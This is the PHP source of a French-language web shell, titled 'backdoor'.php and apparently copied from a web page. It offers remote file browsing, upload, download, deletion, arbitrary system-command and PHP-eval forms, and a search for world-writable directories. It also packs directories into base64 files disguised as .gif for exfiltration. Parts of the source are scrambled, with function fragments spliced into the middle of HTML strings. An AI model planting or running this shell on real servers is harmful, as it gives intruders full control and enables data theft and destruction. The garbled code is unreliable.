"backdoor".php
<?
set_time_limit (3600);
/*
if(isset($_SERVER['argv'][0]))
{
preg_match_all('/[a-zA-Z0-9_]+=http://[a-zA-Z0-9./:_-%?]+/', $_SERVER['argv'][0],$inc);
}else*/
if(isset($HTTP_SERVER_VARS['argv']))
{
preg_match_all('/[a-zA-Z0-9_]+=http://[a-zA-Z0-9./:_-%?]+/', $HTTP_SERVER_VARS['argv'][0],$inc);
}
if(!isset($inc[0][0])){$inc[0][0]="";}
//echo $_SERVER['argv'][0]."***********".$_SERVER['argv'][0]."ttttttt".$HTTP_SERVER_VARS['argv'][0]."*********";
define("URL_PAGE" , $_SERVER['SCRIPT_NAME']."?".$inc[0][0]."&");
$miseenpage = "";
if(!isset($general_inc)){$general_inc="";}
/****************************************FONCTION**********************************************/
/****************************************FONCTION**********************************************/
/****************************************FONCTION**********************************************/
function rec($dir,$lvl,$ou,$general_inc)
{
$miseenpage = "";$miseenpage2 = "";$num_f=0;$num_d=0;
$repertoire=opendir($dir);
if($ou==0)
{
}else{
$miseenpage .="<tr><td > </td><td colspan=".(15+$ou)."><table border=1>";
}
while ($result = readdir($repertoire))
{
$c1="201220";$c2="002010";
if(is_file($dir."/".$result))
{
if($num_f % 2 ==0)
{
$style="style='background-color: #$c1;'";
}else{
$style="style='background-color: #$c2;'";
}
$couleur=base_convert(substr($result,-4),36,15);
$miseenpage2 .= "<tr onMouseOver="style.color='#444444'"; onMouseOut="style.color='#FFFFFF'"; ;>";
$miseenpage2 .= "<td $style><a href='$dir/$result' target='_blank'>></a></td>";
$miseenpage2 .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir)."&file=".code_a("/".$result)."&action=".code_a("openfile")."'><font color=#5$couleur>$result</font></a></td>";
$miseenpage2 .= "<td $style>".fper(fileperms($dir."/".$result))."</td>";
$miseenpage2 .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir)."&file=".code_a("/".$result)."&action=".code_a("delfile")."'>Supprimer</a></td>";
$miseenpage2 .= "<td $style>".number_format(filesize($dir."/".$result))." Octets</td>";
$miseenpage2 .= "<td $style>".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." </td>";
$miseenpage2 .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir)."&file=".code_a($result)."&action=".code_a("dl")."'>Telecharger</a></td>";
$miseenpage2 .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir)."&file=".code_a("/".$result)."&action=".code_a("edit")."'>Editer</a></td>";
$miseenpage2 .= "<td $style><a href="javascript:ren('$result')">Renommer</a></td>";
$miseenpage2 .= "<td $style><a href="javascript:dep('$result')">Depackter</a></td>";
$miseenpage2 .= "</tr>nn";
$num_f++;
} else {
if($num_d % 2 ==0)
{
$style="style='background-color: #$c1;'";
}else{
$style="style='background-color: #$c2;'";
}
$miseenpage .= "<tr onMouseOver="style.color='#444444'"; onMouseOut="style.color='#FFFFFF'"; ;>";
$miseenpage .= "<td $style><a href='$dir/$result' target='_blank'>></a></td>";
$miseenpage .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir."/".$result."")."'><font color=#FFc000><b>$result</b></font></a></td>";
$miseenpage .= "<td $style>".fper(fileperms($dir."/".$result))."</td>";
$miseenpage .= "<td $style><a href='".URL_PAGE."dir=".code_a($dir)."&rep=".code_a($result)."&action=".code_a("delrep")."'>Supprimer</a><a href='".URL_PAGE."dir=".code_a($dir)."&rep=".code_a($result)."&action=".code_a("delr")."'>-r</a></td>";
$miseenpage .= "<td $style></td>";
$miseenpage .= "<td $style>".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." </td>";
$miseenpage .= "<td $style></td>";
$miseenpage .= "<td $style></td>";
$miseenpage .= "<td $style><a href="javascript:ren('$result')">Renommer</a></td>";
$miseenpage .= "<td $style><a href="javascript:dl_r('$result')">Enpackter</a></td>";
$miseenpage .= "</tr>n";
$num_d++;
if($lvl!=0 && $result!="." && $result!="..")
{
$miseenpage .=rec($dir."/".$result,$lvl-1,$ou+1);
}
}
}
closedir($repertoire);
return $miseenpage.$miseenpage2."</table></td></tr>";
}
function cdir($dir)
{
$dir=str_replace( "../", "" , $dir);
$dir=str_replace( "//", "/" , $dir);
$dir=str_replace( "///", "/" , $dir);
$dir_lt=explode("/", $dir);
$dir_c="";$a=0;
for($a=0;$a!=sizeof($dir_lt);$a++)
{
if(!strrchr($dir_lt[$a], "."))
{
$dir_c.=$dir_lt[$a]."/";
if(!file_exists($dir_c))
{
mkdir($dir_c);
}
}
}
}
function dl_rep($dir,$lvl,$gz_mode,$nm,$des)
{
$repertoire=opendir($dir);
while ($result = readdir($repertoire))
{
if(is_file($dir."/".$result))
{
$fp=fopen($dir."/".$result,"r");
$taille=filesize($dir."/".$result);
$buf=fread($fp,$taille);
fclose($fp);
$num=1;
while(file_exists("$des$nm$num.gif"))
{
$num++;
}
$num--;
if(file_exists("$des$nm$num.gif") )
{
if(filesize("$des$nm$num.gif")>50000000)
{
$num++;
}
}
if($gz_mode==1)
{
$fp2=gzopen("$des$nm$num.gif","a");
//gzwrite($fp2,"--**//**--//**--//**--//**--");
gzwrite($fp2,$dir."/".$result);
gzwrite($fp2,"/*/*/*/*/*/*");
gzwrite($fp2,base64_encode($buf)."n");
gzclose($fp2);
}else{
$fp2=fopen("$des$nm$num.gif","a");
//fwrite($fp2,"--**//**--//**--//**--//**--");
fwrite($fp2,$dir."/".$result);
fwrite($fp2,"/*/*/*/*/*/*");
fwrite($fp2,base64_encode($buf)."n");
fclose($fp2);
}
} else {
if($lvl!=0 && $result!="." && $result!="..")
{
dl_rep($dir."/".$result,$lvl-1,$gz_mode,$nm,$des);
}
}
}
closedir($repertoire);
}
function del_r($dir)
{
$repertoire=opendir($dir);
while ($result = readdir($repertoire))
{
if(is_file($dir."/".$result))
{
unlink($dir."/".$result);
} else {
if($result!="." && $result!="..")
{
del_r($dir."/".$result);
//rmdir($dir."/".$result);
}
}
}
closedir($repertoire);
rmdir($dir);
}
function fper($mode) {
if ( ($mode & 0xC000) == 0xC000) {
$type = 's';
} elseif ( ($mode & 0x4000) == 0x4000) {
$type = 'd';
} elseif ( ($mode & 0xA000) == 0xA000) {
$type = 'l';
} elseif ( ($mode & 0x8000) == 0x8000) {
$type = '-';
} elseif ( ($mode & 0x6000) == 0x6000) {
$type = 'b';
} elseif ( ($mode & 0x2000) == 0x2000) {
$type = 'c';
} elseif ( ($mode & 0x1000) == 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read']----ntNon-protected directories on /home and /tmp :ntfind /home -type d -perm 777;ntfind /home -type d -perm 777nt---------------------------------------------ntn";
system("find /home -type d -perm 777 ; find /tmp -type d -perm 777",$var);
if($var != 0){echo("failed");}
}
echo "</textarea></td></tr></table>";
}
/***********************************Help*******************************************/
if($action=="help")
{
$miseenpage .= "<table align=center style='width:950'><tr><td style='background-color: #303030;'><br>
aller: ouvre un repertoire et affiche le contenu de celui ci,<br>
_si lvl differetn de 0 alors liste le repertoire recursivemetn sur X level (-1 pour tous)<br>
Uploader: Envoie d'un fichier sur le site, a partir du repertoire lister<br>
Commande: Commande systeme<br>
Creer dossier: cree un dossier<br>
Creer Fichier: cree un fichier et edite du contenu suivie<br>
Eval: Evalue le script php insere (necessite du ; )<br>
Renommer: Renomme un fichier X en Y<br>
Empackter: rassemble tout le contenu d'un repertorie en un ou plusieur fichier d'une taille approximative de 50mo<br>
_lvl: nb de repertoire recursivement pris en compte sur X level (-1 pour tous)<br>
_gz: compression du fichier cree<br>
Depackter: recree tout les fichiers/repertoires a partir d'un fichier cree a partir de empackter<br>
_gz: sur on si le fichier a etait compresse autrement sur off<br>
-r: Supprime un repertoire (recursif)<br>
</td></tr></table>";
}
/*******************************************************************************/
if(!isset($HTTP_POST_VARS ['lvl']))
{
$lvl=0;
}else{$lvl=$HTTP_POST_VARS ['lvl'];}
$miseenpage .= "<body bgcolor=#000000 color=#FFFFFF> <p align=center>";
$miseenpage .= "<table bgcolor=#000000 STYLE="color: white;">";
$miseenpage .= "<tr><td colspan=10><table style='color: white;'>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><td align=center><a href='".URL_PAGE."action=".code_a("info")."'>Info serveur</a></td>
<td><a href='".URL_PAGE."action=".code_a("phpinfo")."'>phpinfo()</a>
<a href='".URL_PAGE."action=".code_a("myadmin")."'>Installer phpmyadmin</a>
<a href='".URL_PAGE."action=".code_a("help")."'>Help</a>
</td></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Aller a:</td>
<td><input name='dir' type='text' value='$dir' size='60' style='color:white;background-color:black'>
<input name='action' type='hidden' value='".code_a("d = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if ($mode & 0x800 ) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x400 ) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x200 ) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
return $type .
$owner['read'] . $owner['write'] . $owner['execute'] .
$group['read'] . $group['write'] . $group['execute'] .
$world['read'] . $world['write'] . $world['execute'];
}
function code_a($var)
{
return urlencode(base64_encode($var));
}
function decode_a($var)
{
return base64_decode(urldecode($var));
}
function clean_value($val) {
if ($val == "")
{
return "";
}
$val = str_replace( " " , " " , $val );
$val = str_replace( "&" , "&" , $val );
$val = str_replace( "<!--" , "<!--" , $val );
$val = str_replace( "-->" , "-->" , $val );
$val = preg_replace( "/<script/i" , "<script" , $val );
$val = str_replace( ">" , ">" , $val );
$val = str_replace( "<" , "<" , $val );
$val = str_replace( """ , """ , $val );
$val = preg_replace( "/|/" , "|" , $val );
$val = preg_replace( "/n/" , "<br>" , $val ); // Convert literal newlines
$val = preg_replace( "/\$/" , "$" , $val );
$val = preg_replace( "/r/" , "" , $val ); // Remove literal carriage returns
$val = str_replace( "!" , "!" , $val );
$val = str_replace( "'" , "'" , $val ); // IMPORTANT: It helps to increase sql query safety.
$val = stripslashes($val); // Swop PHP added backslashes
$val = preg_replace( "/\/" , "\" , $val ); // Swop user inputted backslashes
return $val;
}
function good_txt($val) {
if ($val == "")
{
return "";
}
//$val = str_replace( ">" , "\>\" , $val );
//$val = str_replace( "<" , "\<\" , $val );
$val = str_replace( "</textarea>" , "<~~/textarea>" , $val );
return $val;
}
function good_txt_inv($val) {
if ($val == "")
{
return "";
}
$val = str_replace( "<~~/textarea>" , "</textarea>" , $val );
//$val = str_replace( "\>\" , ">" , $val );
//$val = str_replace( "\<\" , "<" , $val );
return $val;
}
function color_syn($val) {
if ($val == "")
{
return "";
}
$val = str_replace( " " , " " , $val );
$val = str_replace( "&" , "&" , $val );
$val = str_replace( "<!--" , "<!--" , $val );
$val = str_replace( "-->" , "-->" , $val );
$val = preg_replace( "/<script/i" , "<script" , $val );
$val = str_replace( ">" , ">" , $val );
$val = str_replace( "<" , "<" , $val );
$val = str_replace( """ , """ , $val );
$val = preg_replace( "/|/" , "|" , $val );
$val = preg_replace( "/n/" , "<br>n" , $val ); // Convert literal newlines
$val = preg_replace( "/\$/" , "$" , $val );
$val = preg_replace( "/r/" , "" , $val );ir_direct")."'>
lvl<input name='lvl' type='text' value='$lvl' size='4' style='color:white;background-color:black'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ENCTYPE='multipart/form-data'><td>Uploader:</td>
<td><input type='file' name='file' enctype='multipart/form-data' style='color:white;background-color:black'>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("upload")."'>
<input type='text' name='to' size='40' value='Nom du fichier dans le repertoire listé' onclick='this.value=""' style='color:white;background-color:black' >
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Commande:</td>
<td><input name='cmd' type='text' size='66' value='Commande Systeme' onclick='this.value=""' style='color:white;background-color:black'>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("commande")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Créée un dossier:</td>
<td><input name='rep' type='text' size='66' value='Créée un dossier dans le repertoire listé' onclick='this.value=""' style='color:white;background-color:black'>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("creer_d")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Créée un fichier:</td>
<td><input name='file' type='text' size='66' value='Créée un fichier dans le repertoire listé' onclick='this.value=""' style='color:white;background-color:black'>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("creer_f")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Executer du code php:</td>
<td><textarea rows='5' cols='50' name='php' style='color:white;background-color:black'></textarea>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("eval")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><script>function ren(re){document.rename.oldname.value=re;}</script><form method='POST' action='".URL_PAGE."' name='rename'><td>Renommer/Deplacer:</td>
<td><input name='oldname' type='text' value='Nom actuelle a partir du repertoire listé' onclick='this.value=""' size='40' style='color:white;background-color:black'>
<input name='newname' type='text' size='45' value='Nom/chemin desiré a partir du repertoire listé' onclick='this.value=""' style='color:white;background-color:black'>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("rename")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><script>function dl_r(rep){document.dl.dir_dl.value=rep;document.dl.nm.value=rep;}</script><form method='POST' action='".URL_PAGE."' name='dl'>
<td>Enpackter:</td>
<td><input name='dir_dl' value='Nom du repertoire dans le repertoire listé' onclick='this.value=""' type='text' size='42' style='color:white;background-color:black'>vers (./=location du script)<br>
<input name='des' value='Reperetoire de destination a partir du repertoire de se script/include' onclick='this.value="./"' type='text' size='70' style='color:white;background-color:black' >
<input name='nm' type='text' size='15' style='color:white;background-color:black' value='Nom du fichier de l'empacktage' onclick='this.value=""'>
lvl<input name='lvl_dl' type='text' value='-1' size='4' style='color:white;background-color:black'>
Gz<select name='gz_mode' size='1' style='color:white;background-color:black'><OPTION value=0>Off</OPTION><OPTION value=1>On</OPTION></SELECT>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("dl_rep")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><script>function dep(rep){document.depa.file.value=rep;}</script><form method='POST' action='".URL_PAGE."' name='depa'>
<td>Depackter:</td>
<td><input name='file' type='text' value='Nom du fichier a depackter dans le repertoire du script/include' onclick='this.value=""' size='63' style='color:white;background-color:black'>Destination
<input name='des' type='text' size='43' style='color:white;background-color:black' value='nom du repertoire de destionation (nouveau)' onclick='this.value=""'>
Gz<select name='gz_mode' size='1' style='color:white;background-color:black'><OPTION value=0>Off</OPTION><OPTION // Remove literal carriage returns
$val = str_replace( "!" , "!" , $val );
$val = str_replace( "'" , "'" , $val ); // IMPORTANT: It helps to increase sql query safety.
$val = stripslashes($val); // Swop PHP added backslashes
$val = preg_replace( "/\/" , "\" , $val ); // Swop user inputted backslashes
/*
$val = preg_replace( "/(define|if|else|elseif|endif|do|while|for|break|continue|switch|require|include|global|class|dl|header|setcookie|function|is_array|return|unset)( |()+/" , " <font color=#0000ff>\1</font>\2" , $val );
$val = preg_replace( "/"([a-zA-Z0-9./:]*)"/" , "<font color=#ff0000>"\1"</font>" , $val );
$val = preg_replace( "/$([a-zA-Z0-9_]*)/" , "<font color=#009900>$\1</font>" , $val );
$val = preg_replace( "/(checkdate|date|strftime|gmstrftime|getdate|gettimeofday|gmdate|mktime|gmmktime|time|microtime|chdir|dir|closedir|opendir|readdir|rewinddir|basename|chgrp|chmod|chown|clearstatcache|copy|delete|dirname|diskfreespace|fclose|feof|fgetc|fgetcsv|fgets|fgetss|file|file_exists|fileatime|filectime|filegroup|fileinode|filemtime|fileowner|fileperms|filesize|filetype|flock|fopen|fpassthru|fputs|fread|fseek|ftell|fwrite|set_file_buffer|is_dir|is_executable|is_file|is_link|is_readable|is_writeable|link|linkinfo|mkdir|pclose|popen|readfile|readlink|rename|rewind|rmdir|stat|lstat|symlink|tempnam|touch|umask|unlink|Abs|Acos|Asin|Atan|Atan2|base_convert|BinDec|Ceil|Cos|DecBin|DecHex|DecOct|Exp|Floor|getrandmax|HexDec|Log|Log10|max|min|mt_rand|mt_srand|mt_getrandmax|number_format|OctDec|pi|pow|rand|round|Sin|Sqrt|srand|Tan|mysql_affected_rows|mysql_close|mysql_connect|mysql_create_db|mysql_data_seek|mysql_db_query|mysql_drop_db|mysql_errno|mysql_error|mysql_fetch_array|mysql_fetch_field|mysql_fetch_lengths|mysql_fetch_object|mysql_fetch_row|mysql_field_name|mysql_field_seek|mysql_field_table|mysql_field_type|mysql_field_flags|mysql_field_len|mysql_free_result|mysql_insert_id|mysql_list_fields|mysql_list_dbs|mysql_list_tables|mysql_num_fields|mysql_num_rows|mysql_pconnect|mysql_query|mysql_result|mysql_select_db|mysql_tablename|MySQL_NUMROWS|fsockopen|pfsockopen|set_socket_blocking|gethostbyaddr|gethostbyname|gethostbynamel|checkdnsrr|getmvalue=1>On</OPTION></SELECT>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("depa")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "<tr><form method='POST' action='".URL_PAGE."' ><td>Trouver </td>
<td><select name='type' size='1' style='color:white;background-color:black'>
<OPTION value=0>Fichiers</OPTION>
<OPTION value=1>Repertoires</OPTION>
<OPTION value=2>Tout</OPTION></SELECT>
avec chmod777 dans <select name='ou' size='1' style='color:white;background-color:black'>
<OPTION value=0>/</OPTION>
<OPTION value=1>/tmp /home</OPTION></SELECT>
<input name='dir' type='hidden' value='".code_a($dir)."'>
<input name='action' type='hidden' value='".code_a("find777")."'>
<input type='submit' value='ok'></td></form></tr>";
$miseenpage .= "<tr><td colspan=2><hr></td></tr>";
$miseenpage .= "</table></td></tr>";
//$miseenpage .= $miseenpage_3.$miseenpage_2;
$miseenpage .= rec($dir,$lvl,0,$general_inc);
echo "<table align=center width='1024'><tr><td>$miseenpage</tr></td>";
echo "</table><br><b><i>nnNyx~Nysthys</i></b><br>n</p>";
?>
Publicité